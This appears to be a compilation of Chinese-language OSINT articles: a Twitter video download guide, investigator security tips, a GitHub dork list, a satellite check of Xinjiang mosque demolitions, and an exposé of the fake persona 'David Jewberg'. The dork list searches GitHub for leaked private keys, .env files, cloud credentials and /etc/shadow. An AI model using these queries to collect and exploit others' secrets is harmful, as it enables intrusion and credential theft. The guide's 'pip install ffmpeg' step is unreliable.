pl/490x270/8BWd_nuHKWqg-px7.m3u8|https://
video.twimg.com/ext_tw_video/1294732618374811650/
pu/pl/490x270/8BWd_nuHKWqg-px7.m3u8]]
```

第4步：一切就绪! 只需播放视频

打开保存视频的文件夹，您会看到视频已被自动转换为一个.mp4文件。可以通过您的标准媒体播放器轻松地播放这个文件。

方法二：使用 VLC Mediaplayer

「图」

另一种从 Twitter（和 YouTube）下载视频的方法是通过 VLC Mediaplayer 。通过这个程序，您可以打开网络流，并自动将这些流转换为MP4文件。

第1步：下载 VLC Mediaplayer

通过 https://www.videolan.org/vlc/index.nl.html 下载 VLC Mediaplayer。

第2步：转换视频

打开 VLC Mediaplayer，点击 “媒体” 标签下面的 “保存为…”。

单击 “网络” 选项并填写推特视频的 URL。单击 “转换/保存”。

接下来，确保选中 “*Profile*” “*(MP4)* ”并选择要保存视频的位置。然后单击 “开始” 转换视频并等待。

第3步：完成并播放

视频现在已经被转换并保存在您指定的位置。现在可以用您的 Mediaplayer 播放该视频。

方法三：使用 FFMPEG

「图」

如果您经常与视频打交道，FFMPEG这个程序可以很省力。

第一步：下载**FFMPEG**

键入以下命令，通过PIP下载FFMPEG。

```
pip install ffmpeg
```

要检查 FFMPEG 是否已经成功安装，只需在命令提示符中输入 “ffmpeg” 即可。您是否收到错误信息？那么建议您阅读这个关于安装FFMPEG的教程。

第**2**步：下载一个视频

要通过FFMPEG下载一个视频，请在您的 Windows 命令提示符（CMD）中输入以下命令。确保您输入的是.m3u8链接，并且可以自己给视频取个名字。本案例中目标视频只是被称为 “视频”。

```
ffmpeg -i [[https://video.twimg.com/
ext_tw_video/1294732618374811650/pu/
pl/490x270/8BWd_nuHKWqg-px7.m3u8|https://
video.twimg.com/ext_tw_video/1294732618374811650/
pu/pl/490x270/8BWd_nuHKWqg-px7.m3u8]] video.mp4
```

第**3**步：完成并播放视频

FFMPEG 将下载MP4文件格式的视频。该文件会自动保存在电脑上当前用户的文件夹中。可以用您的 Mediaplayer 播放这个文件。

方法四：使用第三方网站

「图」

既然可以轻松完成，为什么还要增加难度呢？毕竟，有很多网站允许在Twitter等平台上下载视频。比如 http://twittervideodownloader.com/。但这是最不推荐的方法，尤其是当您需要下载的视频比较敏感的时候，第三方网站总是不安全的。如果您的调查目标有权要求平台提供数据，您的身份很可能被暴露。

方法五：使用浏览器扩展

「图」

有各种浏览器扩展程序可以用来下载Twitter视频。比如 Video Downloader Plus 和 Twitter Media Downloader。只需要安装这些扩展程序，然后就可以轻松下载 Twitter 上的视频。

但浏览器扩展本身也不够安全，除非您知道自己在做什么。

安全问题

「图」

建议您仔细考虑每一个工具，根据您的具体调查案例衡量每一次操作的威胁模型，以便选择安全性最恰当的工具。

如果您不能检查您的隐私和安全是否受到侵犯，那么最好认为您的数据是不安全的。

本文只提供可能的选项，不对具体的操作中涉及的安全性负责。〇

5 ways to download a Twitter video

原文

不要出师未捷！挖掘真相的基本安全操作提示和技巧 - iyouport

开源情报-每个人都可用的武器自我保护措施-技术技巧以防身

【2020年6月5日存档】这里的知识非常重要。

对于调查人员来说，最首要且重要的是安全 —— 是你在调查对方，而不能让对方及时发现你的行为而反过来追踪你。

不要小看你的调查对象，他们在坏事，所以他们会处处警惕被发现和被曝光身份。互联网的易于追踪能力给每个人的机会都是一样的，你和你的调查对象，谁能技高一筹，谁就能取得胜利。

本文要说的就是这件事。

☞对任何一种安全需求的首要答案都是一样的：回答这个问题 “你的威胁模型是什么？”

- 《保护安全需要一系列思考方式，而不是哪个软件》

首先有必要了解一下 OPSEC（Operations security 行动安全） 一词的起源。 OPSEC 最初代表的是作战安全，是一个源自美国军方的术语。好的 OPSEC 的目标是拒绝可能危害行动秘密和/或行动安全的敌对情报。

这就是为什么说您首先需要的是威胁模型。您正在一场对峙中，您需要对自己、以及对敌方的能力和思考方式有一些基本性的了解。

例如，如果您只想通过 Google Earth 查看地理信息，那么您加固机器本身或浏览器就没有意义；但是，如果您打算深入研究包含构建远程访问特洛伊木马程序的人员的网站和论坛，那就将是有道理的且需要的。

☞您可能会发现，根据手边的特定研究来设计一些适合您的威胁模型的方案会很有用。

制作思维导图或流程图并将其用作一种蓝图，可以是个好主意。

您可以让自己回答下面这些问题：# 完成这些任务需要什么工具

- 我要使用什么来源
- 我要使用什么研究机器
- 谁是我的对手？

1. 归总方法《你的全能钥匙扣：作为一名公民调查者的基本脑图》
2. 识别将以什么格式（和在哪里）找到有价值的信息

- 此信息的受保护程度如何？
- 当受到损害时，对个人/专业的影响是什么？
- 了解你的对手

1. 全名

- 居住/工作的地方
- 身份证号
- 出生日期
- 电子邮件帐号和密码
- 所有在线数字足迹
- 所在团队信息
- 财务信息
- 手机/办公电话
- 社交媒体信息：应用程序/帖子/照片/视频
- 所有家人/朋友/同事

1. IP地址

- DNS信息
- 重用代码段（指纹）
- 妥协指标
- 使用的已知方法或技术
- 端口扫描
- 开放数据库或服务器
- 在线出售的恶意软件

1. 浏览器指纹

- IP指纹

- 在线时间或时区设置
- 单词的选择、标点符号习惯……等（语言指纹）
- 行为（浏览习惯/模式）

1. 将您的活动按照威胁级别进行调整

- 以太网连接还是4G/5G？
- 代理/ VPN / TOR
- 用户代理
- 跟踪阻止
- 使用假账户登陆 Google，Yahoo，Microsoft，Apple 等
- 如果一个帐户被盗用，与其他帐户相连接吗？会有什么风险？

1. 必须与您的私人身份没有任何相关性。工作与私人100％分离。

- 远离您的私人环境
- 不要使用任何公共Wi-Fi 或办公室以太网
- 不要使用您的私人设备 —— 也就是这个设备只用于调查

1. 研究如何在特定平台上表现自己，让你的袜子木偶看起来像个真人

- 你的故事是什么？它需要真实可信
- 要活动。保持活动让它看起来正常
- 上网时间是什么？避免被捕捉到时区和生活规律
- 语言设置。最好不使用母语。如果您对第二三语种不熟练，可以采取与您平时说话时完全不同的语态，这很重要。
- 时区设置。躲开您的真实时区。
- 选择语言，slang, l33t 等

1. HTTPS Everywhere
2. Privacy Badger
3. uBlock Origin
4. User-Agent-Switcher
5. Canvas Defender
6. ScriptSafe
7. Location Guard / Manual Location
8. 尽可能使用2FA（双因素验证）但不要使用手机短信和电邮验证！

- 使用复杂密码，将密码存储在密码管理器中，例如 LastPass 或 KeePass。
- 任何时候不要重复使用密码！

最后

「图」

以上是一些基本防护方法和您在投入调查工作之前应该知道的事。希望对您有所帮助。

☞请始终记得，您的对手会很狡猾，每一个做坏事的人都会绞尽脑汁算计这些东西，所以，您必需能让自己技高一筹。〇

原文

不要忽视GitHub作为开源情报调查金矿的潜力 - iYouPort

开源情报-每个人都可用的武器

Github Dorks是什么？

「图」

「图」

对组织机构进行初始侦查时，请不要忘了 Github。

开发人员使用 Github 来维护和共享代码，但大多数情况下，最终他们共享的东西比代码要多得多。

大多数组织机构都有一个公开的 Github，其中可能包含大量完整信息。根据公司的规模，您甚至可以花数周的时间来搜寻 Github 上的信息。ghostlulz 介绍了一些方法。

Github Dorks

您肯定知道 google dorks 是什么，但 Github Dorks 是什么也许知道的人不多。实际上这两者很相似。

dork 用于在信息海洋中快速查找特定信息。它可以帮您将搜索范围缩小到想要的局部位置。

尤其是当您想要的东西比较特别时，比如 搜索敏感文件、API密钥、密码等等，使用这种方法会非常方便。

- 《如何在线搜出机密信息：小游戏》
- 《谷歌甚至可以轻松搜到密码以实现入侵 ……如何做到这件事？》

可以使用 dork 查找开发人员可能意外上传的敏感文件。

比如使用 github dorks 查找带有ssh密码的暴露 bash_history 文件，这样就可以：

filename:.bash_history DOMAIN-NAME

「图」

「图」

人们总是将敏感文件上传到github，这里是金矿；寻找公开的密码、令牌、api密钥、用户名都有可能。比如这样搜索：

「图」

「图」

用户名通常与密码和api密钥相关联。如上所示，某人正在泄漏其重要的密钥。

公司 Github

与其使用 Github dorks 来查找泄漏，不如直接将转到源头。为此，您必须找到目标公司的 Github 页面，然后您可以在其中找到所有开发人员并监视他们的帐户。

并非所有公司都有公开的 github 页面，但您可以使用Google搜索来查找。

「图」

「图」

找到公司页面后，需要获取与该公司关联的人员列表。所以点击“people”：

「图」

「图」

现在，您将需要手动检查每一个并查找泄露的细节信息。

这就是为什么调查过程可能需要比较长时间的原因。 Facebook 关联

有184人，仔细观察每个人可能会很无聊且耗时。

但是，关联的人越多，其中有人上传他们不应该透露的内容的可能性就越大。您应该寻找 urls、API密钥、用户名、密码、漏洞以及任何其他可以提供价值的内容。

清单

这里有一个 Github dorks 的清单，您可以根据需要使用：

filename:.npmrc _auth

filename:.dockercfg auth

extension:pem private

extension:ppk private

filename:id_rsa or filename:id_dsa

extension:sql mysql dump

extension:sql mysql dump password

filename:credentials aws_access_key_id

filename:.s3cfg

filename:wp-config.php

filename:.htpasswd

filename:.env DB_USERNAME NOT homestead

filename:.env MAIL_HOST＝smtp.gmail.com

filename:.git-credentials

PT_TOKEN language:bash

filename:.bashrc password

filename:.bashrc mailchimp

filename:.bash_profile aws

rds.amazonaws.com password

extension:json api.forecast.io

extension:json mongolab.com

extension:yaml mongolab.com

jsforce extension:js conn.login

SF_USERNAME salesforce

filename:.tugboat NOT _tugboat

HEROKU_API_KEY language:shell

HEROKU_API_KEY language:json

filename:.netrc password

filename:_netrc password

filename:hub oauth_token

filename:robomongo.json

filename:filezilla.xml Pass

filename:recentservers.xml Pass

filename:config.json auths

filename:idea14.key

filename:config irc_pass

filename:connections.xml

filename:express.conf path:.openshift

filename:.pgpass

filename:proftpdpasswd

filename:ventrilo_srv.ini

[WFClient] Password= extension:ica

filename:server.cfg rcon password

JEKYLL_GITHUB_TOKEN

filename:.bash_history

filename:.cshrc

filename:.history

filename:.sh_history

filename:sshd_config

filename:dhcpd.conf

filename:prod.exs NOT prod.secret.exs

filename:prod.secret.exs

filename:configuration.php JConfig password

filename:config.php dbpasswd

filename:config.php pass

path:sites databases password

shodan_api_key language:python

shodan_api_key language:shell

shodan_api_key language:json

shodan_api_key language:ruby

filename:shadow path:etc

filename:passwd path:etc

extension:avastlic “support.avast.com”

filename:dbeaver-data-sources.xml

filename:sftp-config.json

filename:.esmtprc password

extension:json googleusercontent client_secret

HOMEBREW_GITHUB_API_TOKEN language:shell

xoxp OR xoxb

.mlab.com password

filename:logins.json

filename:CCCam.cfg

msg nickserv identify filename:config

filename:settings.py SECRET_KEY

filename:secrets.yml password

filename:master.key path:config

filename:deployment-config.json

filename:.ftpconfig

filename:.remote-sync.json

filename:sftp.json path:.vscode

filename:WebServers.xml

最后

Github 是重要的信息来源。如今，绝大多数公司都有一个Github页

面。如果找到此页面，就可以监视所有员工的敏感曝光。

您还可以使用 Github dorks 在整个github上进行广泛的搜索。您的目标应该是寻找密码、令牌、API密钥、用户名、隐藏的url、或任何其他有价值的东西。

Github 是一个金矿，非常适合开源情报的侦察阶段。〇

《Github OSINT》 广告

原文

中国新疆古老的清真寺真的被毁了吗？ - iYouPort

开源情报-每个人都可用的武器

对于中国新疆的消息，由于该地区难以进入，信息往往属于传闻而难以验证。不要紧，开源调查技术能帮助你在地球上任何一个地方都可以检验那些难以进入的地区内发生的事。本文是一个较为基础的演示。

「图」

「图」

Twitter 上的活动人士正在声称一条消息：中国一直在摧毁新疆的历史清真寺。新疆是大量维吾尔族人的家园，维吾尔族是中国主要的穆斯林少数民族。

这些消息是真的吗？

我们来验证一下。

通过使用开源调查技术和卫星图像，可以找到这些清真寺、并检查这些声明的真实性。当涉嫌的破坏行为发生时，用这些方法也可以缩小范围找到准确的位置。

现在开始。

1、Keriya Aitika 清真寺

引起我们注意的第一座清真寺是位于这里的 Keriya Aitika 清真寺。

「图」

「图」

现在已经知道了确切位置，因为发布有关这座清真寺消息的活动家在他的图像中包含了坐标。

「图」

「图」

Tweet的屏幕截图。注意图像中的坐标（来源）

使用“Keriya Mosque, China” 作为关键字进行 Google 图像搜索，结果可以清楚地表明，所描绘的位置是清真寺的北门楼。

主祈祷大厅似乎是一个向南的大型矩形建筑，在 Flickr 中有记录。

「图」

「图」

大型建筑和门楼之间有一座较小的建筑，Google Earth 显示这是在2014年3月之后建造的。

「图」

「图」

虽然使用谷歌地球历史图像已经可以显示门楼肯定已被摧毁，但你仍然可以使用 Planet Labs 图像来找到更加精确的事发时间。

Planet Labs 图像的分辨率往往低于 Google Earth，通常为3米每像素，而不是50厘米或30厘米每像素，但它更新快图像会比较新。

下面是使用 Planet Labs 图像对2018年3月19日（左）和20日（右）的位置进行比较。我们可以看到，门楼似乎消失了。

「图」

「图」

因此很明显，3月19日至20日之间发生了变化，重点是门楼。

比较两个日期，可以看到门楼南面的建筑物也已完全拆除，尽管南面较大的矩形建筑物（我们认为是祈祷大厅）似乎完好无损。

「图」

「图」

2、Kargilik 清真寺

关于这个主题的原始帖子 thread 中第二个用户询问了 Kargilik 清真寺以及它是否被夷为平地。

「图」

「图」

找到这座清真寺的确切位置有点困难，但不是难太多。只需在 Google 中键入“Kargilik Mosque”，就会发现第一个结果是协作制图服务 Wikimapia 中的一个位置。

通过比较这个位置的卫星图像和找到的关于这个清真寺的其他图像，可以确认这个位置是正确的。

「图」

「图」

查看 Google 地球上公开提供的图像，可以发现这座清真寺没有明显的变化。

这是因为，在撰写本文时，Google 地球上最新的可用图像是从2018年9月1日开始的，那时该清真寺仍然存在。

但是，使用 Planet Labs 图像就可以看到，在2018年末，这个位置发生了重大变化。

在2018年11月29日至12月21日之间的比较：

「图」

「图」

「图」

「图」

Kargilik 清真寺遗址的比较。绿色表示建筑物被移除的位置，红色表示门楼的阴影应该落在哪里（图片由 Planet Labs 提供）

使用 Planet Labs 图像，可以看到发生了大事，但由于 Google 地球没有最新图像，因此无法确定此变化的确切程度。

然而，最新的高质量图像可以从 TerraServer 租用，它显示了更高细节的变化程度。

从下面的比较中可以看到，清真寺的大部分被清除，包括令人印象深刻的门楼。

「图」

「图」

Kargilik 清真寺遗址的比较（左图由谷歌地球/Digital Globe 提供；右图由 TerraServer / Digital Globe 提供）

结论

通过使用各种工具，包括开源和协作制图应用，可以确定这两个清真寺在2018年期间经历了重大的结构变化。Keriya 清真寺的门楼和 Kargilik 清真寺的大部分遭到破坏。

此前背景消息显示，新疆的穆斯林维吾尔族少数民族人口遭到有系统的镇压和监禁，而对文化和宗教十分重要的伊斯兰建筑物的破坏可能是这种持续镇压的一部分。

商业制图服务和卫星图像服务将成为跟踪此类事件的重要工具，特别是对于难以进入的地区。

希望这篇文章能为中国的真相爱好者提供一些灵感。感谢 Nick Waters 的演示，他是前英国陆军军官和开源情报分析师。〇 广告

原文

享誉盛名的"五角大楼官员"事实上是一个假人，如何揭露"他"？（第一部分） - iYouPort

开源情报-每个人都可用的武器

信息战是一件很有趣的事；揭露信息战的内幕同样有趣

「图」

「图」

互联网上有很多东西是假的，数据是假的、人是假的、企业是假的、政治也是假的……在这里看到分析《互联网上究竟有多少东西是假的？》

大部分的假都只是为了赚钱；然而还有一种造假，是为了政治。

这类造假可以很高明，甚至可以跨国操控政治现实。我们介绍过一个例子：被信息战组织制造出来的假人成功操纵多家主流媒体数年的时间，甚至被白宫作为证据宣读，在这里看到《一个惊人的案例：积极的反政府抗议者居然是个假人》。

这也是战略性欺骗中是一种最简单常见的手段。

欺骗在政治和军事上都是有效的武器。

- 延伸：《欺骗不是撒谎这么简单：对峙的艺术（1）》
- 《伟大的自欺—战略性欺骗的心理维度（2）》
- 《想象力、创造力和较量—欺骗与反欺骗的互动（3）》
- 《偏执的保密—欺骗的主要方法之一（4）》
- 《让你看见—欺骗的积极方法之二（5）》
- 《反情报能力和思维模式—识别战略性欺骗的主要途径（6—上）》
- 《辟谣往往无效除非自我批驳—识别战略性欺骗的主要途径（6—下）》

那么如何揭露骗局呢？

开源调查也许可以帮助挖出伪造的线索。

本文将演示一个案例：一名网络红人，被称为“美国国防部俄罗斯问题资深专家”。中国的门户网站也这样引用过。下图是中国新浪网在今年2月的报道：

「图」

「图」

但这是假的 —— 此人并不存在；有关“他”的公共信息的一切都是假的。

和上述伊朗的案例一样，“他”只是一个信息战工具。

互联网上究竟还有多少假人？创造“他们”的目的都是些什么？“他们”起到了什么作用？如何揭穿伪造？

希望这两篇报告能帮您找到揭露虚假的思路。尤其是，在一众名人频繁引述和信任虚假人物的情况下，揭穿并不容易。

五角大楼的造假深度比伊朗要高明很多，甚至借用了景观政治的表演技术，非常具有迷惑性。以下是调查记者 Oleksiy Kuzmenko 的演示。

摘要：

- “五角大楼俄罗斯问题资深分析师 David Jewberg” 保持着一个受欢迎的 Facebook 页面，并经常被乌克兰和俄罗斯媒体引用为与五角大楼有关的乌克兰和俄罗斯的内幕来源。他努力将自己描述为一个真正的人，有着一个合法的名字 “David Jewberg”，而不是一个角色扮演游戏。
- 一些著名的俄罗斯反对派人士也经常引用 David Jewberg 作为受人尊敬的分析师和现实生活中的联系人。
- David Jewberg 实际上是一个想象中的角色，与美国境内的一大群人有关，其中心是美国金融家 Dan K. Rapoport，就是以他为模版被俄罗斯问题专家 David Satter 和华盛顿其他人编造出来的角色。与 Rapoport 相关的一些私人朋友和职业联系人帮助支撑了这个假人物；例如， Rapoport 的大学朋友的照片被用来代表 Jewberg，一些华盛顿地区的 Rapoport 朋友撰写

了大量被署名为 Jewberg 的文章，让他看起来像是一个真人。
- Dan K. Rapoport 是2017年1月租给伊万卡特朗普的房子的前业主。他曾在2000年担任俄罗斯的财务主管，之后据说他积极支持俄罗斯的反对派人士。他于2016年底搬到基辅，最近的报道显示他在乌克兰担任财务主管。
- 在本次调查期间，根据法律专家的意见，维持 “David Jewberg” 这个虚假角色的人员也创建了虚假身份证件，冒充五角大楼联邦官员的证件。
- 美国国防部和国务院否认 David Jewberg 的存在，声称他们从未雇用过有这么一个名字的人。
- Rapoport 一再否认自己是 David Jewberg 背后的操作者，也没有承认“Jewberg”是一个虚假的角色。

以下是揭露。

第一部分：**David Jewberg** 是谁？

2016年4月，乌克兰新闻网站 Dialog.ua 把这个假人 David Jewberg 介绍给了读者，该网站称 David Jewberg 是“美国士兵、分析师、军事历史专家、美国陆军军官、美国国务院政治顾问、国防部和国家安全局分析师”。

Dialog 网站接着描述了 Jewberg 的传记，包括他的父母的信息（Tammy 和 Joe，都出生在俄亥俄州林德赫斯特）还有成长经历（1988年毕业于 John Miller 高中）以及职业生涯（曾经部署到索马里、也门、科索沃、阿富汗、伊拉克…）。

Dialog 网站的描述似乎想要说明这个 Jewberg 上校已经是美国军队中崛起的精英人物，并最终成为国防部的高级分析师，专注于俄罗斯问题。

「图」

「图」

Jewberg 的在线形象

从 2015年春季至2017年秋季，这个假人 Jewberg 一直维持着一个受欢迎的 Facebook 主页，主要使用流利的（虽然有些美国化）俄语，偶尔也会有英文帖子。

这个 Facebook 主页最初于2015年5月开始运作，很快就火了。

大约三年前，那是奥巴马对俄罗斯在乌克兰的侵略保持相对保守立场的时期，在2015年2月德巴尔切夫战役期间达到顶峰。

乌克兰的许多人和俄罗斯反普京立场的许多人都通过指挥行动或言论以寻求美国对抗克里姆林宫的强硬立场。

作为五角大楼内部的公共资源，这个假的 Jewberg 角色对后者起到了强大的填补作用。

从“他”的 Facebook 个人资料可以看到，Jewberg 还维护了一个公开的 LinkedIn 帐户、一个 Google Plus 个人资料、以及一个 JewbergsList.com 的网站（可能是著名的 Johnson’s Russia List 的一部分）。

Jewberg 的 LinkedIn 个人资料再次增强了这个假人的合法性。

其中显示“他”与许多著名的俄罗斯观察家有“联系”，其中包括 Michael McFaul（前美国驻俄罗斯大使），David Satter（著名的美国俄罗斯专家和历史学家），Mark Galeotti（著名克里姆林宫学家），甚至还有法新社记者 **Dmitry Zaks**，和其他许多人。

拉一大群名人背书 —— 特别具有迷惑性。

此外，这个假人还展示了自己的各种技能 —— 这是 LinkedIn 个人资料中的一项功能，可以让“他”的个人资料更具真实感。

「图」

「图」

「图」

「图」

「图」

「图」

「图」

「图」

来自他的 LinkedIn 的信息也在他的 Facebook 个人资料中有详细说

明，其中还包括了一些据称显示为五角大楼官员的照片。

「图」

「图」

「图」

「图」

在他的 Facebook 页面上，这个 Jewberg 的自我简介是这样的（原文是俄语）：

“我是美国武装部队的老兵。我是俄罗斯血统。我写了一篇关于历史的博客，我写下的是真相和事实，这些都是俄罗斯国家媒体向俄罗斯人隐瞒的。”

在 Facebook 上，David Jewberg 明确表示他是“美国国防部的高级俄罗斯分析师”，他称自己在特朗普当选后不久就“辞职”了。

他声称自己为了进一步明确揭露俄罗斯隐藏真相的目标，“David Jewberg” 公开谴责亲克里姆林宫的作家和普通用户，并在 Facebook 上大量添加反克里姆林宫的用户作为“朋友”。

与此同时，这个假人以越来越受欢迎的形象继续发表“他”对一些主题的分析，与俄罗斯和乌克兰有关的事项成为其中的焦点。

搬到美国的俄罗斯记者 Kseniya Kirillova 早期见证了 David Jewberg 在网上的形象和影响力的兴起，以及人们日益增长的兴趣，特别是在美国反克里姆林宫的激进派和反对派人士中。

Kirillova 在接受采访时表示，2015年，美国紧密团结的俄罗斯反对派团体中的“每个人”都在谈论 **“David Jewberg”** —— 这位新秀反普京五角大楼官员。

Kirillova 说，2015年，在一年前移民到美国后，她一直在努力与克里姆林宫和宣传研究领域的美国专家建立联系。

她在新家的朋友，包括俄罗斯反对派社区的其他成员，都向她介绍和推荐 **“David Jewberg”**。

正如 Kirillova 所描述的那样，在克里姆林宫组织的虚假宣传活动的

高峰期间，Jewberg 作为“反宣传工具”非常有效 —— 用虚假宣传反虚假宣传。

“（*2015*年）*David Jewberg* 得到了众多个人的大力支持……

有时他发布的材料真的可以突显俄罗斯在普京统治下的状态 ……

对他的支持不是因为公众是愚蠢的；他得到了聪明的体面的人的支持，他们利用他提供的材料作为凭据参与在线辩论。”

简单说，这些支持者以“他”为凭据，试图证明自己“是对的”。

2016年夏天，“David Jewberg” 在俄罗斯反对派和乌克兰的许多人中都受到了热烈的欢迎；并促使他的粉丝们向 Facebook 管理员发送了一封信，敦促该公司解决所谓的亲克里姆林宫偏见。信中写道：

“美国人重视言论自由。 *Facebook* 是一家美国公司，旨在促进全球用户之间的开放式沟通。因此，我们希望您拥有类似的价值观，并支持真相、正义和美国之道。因此，我们对您明显缺乏回应感到困惑和沮丧。我们恳请您分配几名政治中立的俄语版主审查所有流行的俄语博客，以确保相同的*FB*社区标准适用于所有人”。

这封信最初由 David Jewberg 签名的，由流行的俄语美国博客作者“Alexander J. Flint” 编辑，很快就成为了热门。

「图」

「图」

这封信及其有效性在 Facebook 上受到一些著名的普京评论家的称赞，如Slava Rabinovich（一位俄罗斯裔美国金融家和博主，拥有近25,000名 Facebook 粉丝）还有 Alexander Sotnik（一名反对派记者和活动家，Facebook 上有超过100,000名粉丝）

Slava Rabinovich 特别称这个假人 David Jewberg 为“朋友”。

「图」

「图」

「图」

「图」

大约在同一时间，Konstantin Borovoy —— 一位资深的俄罗斯反对派政治家、俄罗斯杜马的前成员、现任自由派“西方选择”党派领导人 —— 敦促曾经报道过俄罗斯的 Ekaterina Skorobogatova 将“David Jewberg”添加到社交网络的“untouchables”名单中。

Borovoy 的帖子提到了 Jewberg，向他的近150,000名 Facebook 粉丝广播，并获得了超过一千个点赞和600多个分享。

同年10月晚些时候，Borovoy 得到消息称，他“有机会”将“被克里姆林宫trolls阻挡的活动家”名单传递给马克扎克伯格。 David Jewberg 被列入名单。

这个假人 Jewberg 的 Facebook 活动以及他与俄罗斯反对派人物的明显良好信誉，产生了令人惊讶的结果：与 **Facebook** 管理员的电话会议。

根据 Facebook 上的 Jewberg 的帖子，他在2016年8月与“Facebook 全球内容政策主管”、“东欧的 Facebook 主管”以及其他人，进行了电话会议。

「图」

「图」

根据 “Jewberg” 的说法，在电话会议中，他向 Facebook 通报了社交网络所谓的亲克里姆林宫偏见，并被要求提交一份需要阻止的帐户的清单。

来自 Jewberg 的帖子包含了他之前从 Facebook 收到的一条消息的截图，是邀请他参加电话会议的通知。

其中显示会议于2016年8月1日举行。

“Hi David

Thanks for your patience as we organize. Are you able to speak this coming Monday August 1 at 6:30 PM Eastern Time? If so, please confirm with an email response . Meeting details: Phone: //+1 408 7407256//

Enter Meeting ID: 446119116

Thanks”

Facebook 没有回复关于 Borovoy 提交给扎克伯格的那份封锁账户名单的评论请求。Borovoy 提到的 Ekaterina Skorobogatova 目前担任 WhatsApp 的经理。她也没有回复多个评论请求。

异常的名字，被偷来的脸

虽然众所周知，姓 “Jewberg” 本身就是讽刺性的，但是，丝毫没有影响到 Facebook 主页和乌克兰媒体对这个所谓的“五角大楼内幕”报道的信任。

例如，Jewberg 已经分享了一系列显示其身份的证件，尽管他的姓氏的前三个字母在任何身份证件中都不可见 —— 就是下面这样：

「图」

「图」

请注意上图，在弗吉尼亚州的驾驶执照上，甚至没有签名（签名应该在姓名和“Endorsements / None”之间的空白区域）。

Facebook 上另一张关于 Jewberg ID 的照片，显示了这个假冒“五角大楼官员”的名字和姓氏：

「图」

「图」

这些身份证件看起来很像是您可以在网上可以找到的那种样本，例如在Ft网站上找到的美国陆军身份证：

「图」

「图」

与伊朗的假人不同，这个五角大楼假人并不害羞，在他的社交媒体上张贴了很多照片，在很多情况下显示他 —— 休闲、穿军装、担任官方职务等等。

「图」

「图」

然而，这些照片中的男人实际上并不是 **“David Jewberg”**，而是一位名叫"Steve Ferro" 的德克萨斯人。本调查后面将详细所述，Ferro 是 Dan K. Rapoport 的大学朋友。

正如下面的比较所示，“Jewberg” 使用的照片显然是 Steve Ferro，因为在 Ferro 的 Facebook 页面上2012年的照片中可以看到同样的人和狗：

「图」

「图」

在“David Jewberg”共享的各种身份证的照片中，使用的都是 Ferro 的脸。

如下比较，Ferro 在弗吉尼亚驾驶执照上拍摄的照片，被标记为“Jewberg”，而两张照片都来自于 Ferro 的 Facebook。

「图」

「图」

仔细看这些照片，你会发现，在五角大楼身份证中，Ferro / Jewberg 的脸部受到了明显的数字操纵。

在身份证中，Jewberg / Ferro 的右耳与他的脸颊有明显的变形。

「图」

「图」

显然，Steve Ferro 的名字不是“David Jewberg”，因此不清楚“Jewberg”是如何获得这些身份证的。

特别是，尚不清楚这个假人如何获得或伪造了五角大楼的身份证件，因为制作虚假的联邦身份证件显然存在法律问题。

对这个问题后面还有详细说明。

顺便说，现在制作一张假脸可以非常容易 —— 一张不存在于地球上的人脸，只需要一个网站，在这里看到《完美替身》。

Jewberg 在乌克兰媒体领域获得了稳固的立足点

在调查开始时提到的乌克兰新闻网站 Dialog 是炒红 **Jewberg** 的主要驱动因素之一，该网站发表了十几篇总结这个假人 Facebook 帖子的文章。

请注意，中国媒体对这个假人的引述报道也非常常见 —— 请在谷歌使用中文搜索“Jewberg 是谁”，你将能看到大批的来自中国媒体的引用。

不过，关于假人 Jewberg 在乌克兰媒体上最具影响力的单一新闻故事来自另一个网站。

2015年11月，乌克兰热门新闻网站 Obozrevatel.com 发表了一篇耸人听闻的文章，完全基于假人“David Jewberg”在其 Facebook 页面上发表的声明。

这篇名为《最多能撑10天：五角大楼官员详细描述了俄罗斯将如何输掉与北约的战争》的文章，在社交网络上获得了超过**211,000**次观看和数千个分享。

「图」

「图」

这篇文章也获得了大量中国媒体的转述 —— 谷歌搜索“美军专家：美俄一旦开战俄最多能撑10至20天”，您会看到大量结果，包括西陆网、多维新闻、头条新闻、新浪网、搜狐新闻……等等。

这篇文章的核心内容是这个假人 Jewberg 关于俄罗斯与北约之间可能出现的战争情况的声明，这些观点在未来几年的其他文章中不断重新出现。

与中国的一大堆媒体一样，乌克兰的 Obozrevatel.com 也不加批判地大量分享了假人 **Jewberg** 的 **Facebook** 帖子。

下面是提供这篇被广泛分享的 Obozrevatel 文章的部分翻译，这篇文章是假人 Jewberg 在乌克兰和俄罗斯媒体中崛起的垫脚石之一，也代表了 Jewberg 众多 Facebook 帖子的典型写作风格：

“如果俄罗斯总统弗拉基米尔普京敢于直接与北约对抗，联盟与俄罗斯之间的冲突将不会持续*10–20*天。这就是这位五角大楼军官所深信

的 —— 他是苏联移民的后裔 *David Jewberg*。 *David Jewberg* 在他的 *Facebook* 页面上发布了上述声明，其中包括关于俄罗斯和北约武装部队相关的信息图……”

这篇 Obozrevatel 文章，包括来自 DSnews.ua（在一篇关于抨击俄罗斯对天然气的浪费的 Jewberg Facebook 帖子上）以及 Apostrophe.ua（引述 Jewberg 认为俄罗斯无力向其部队提供新的“Armata”坦克）在一年之内被一些乌克兰著名媒体广泛报道。

可见一个假人可以做到多么大的影响力。

2016年10月，当时在乌克兰双生出版物 Gazeta.ua 和 “Kraina” 杂志上工作的自称无经验的记者 Illia Ponomarenko，决定通过电子邮件采访 **Jewberg**，讨论顿巴斯战争的问题。

这个假人 Jewberg 被认为是乌克兰媒体的“可靠来源”。

Ponomarenko 描述了为什么在2016年10月将假人 Jewberg 作为一个来源认真对待是合理的：

> 他有一份没有明显矛盾的详细传记；他自己公开的多张照片和看似可信的背景故事；乌克兰—俄罗斯冲突中源源不断的有趣帖子；以及他自称的与著名的俄罗斯专家的一些个人关系 ……

很正点 —— ⚠这正是关于欺骗的有效性。

换句话说，**Ponomarenko** 所解释的问题是，“我们的读者最感兴趣的是什么”。这就是媒体为什么频频上当的原因 —— 因为他们不考虑真实性判断，而是考虑流量经济，关于如何讨喜读者。

Ponomarenko 承认，他在采访后就开始怀疑了 Jewberg 的身份了。

不过，Ponomarenko 说，他认为这次采访是“在对俄罗斯的信息战的良好回击”。

用意识形态思考的结果就是这样罔顾事实。

在编辑的批准下，Ponomarenko 通过电子邮件对 Jewberg 进行了采访，并于2016年10月4日在 Gazeta.ua 上发表了一篇关于此互动的文章。

「图」

「图」

这篇对 Jewberg 的采访中包含他作为“美国国防部高级俄罗斯问题分析师”的介绍、涉及的研究主题范围、从美国向乌克兰提供致命武器的条件，到五角大楼对乌克兰东部事件的正式看法。

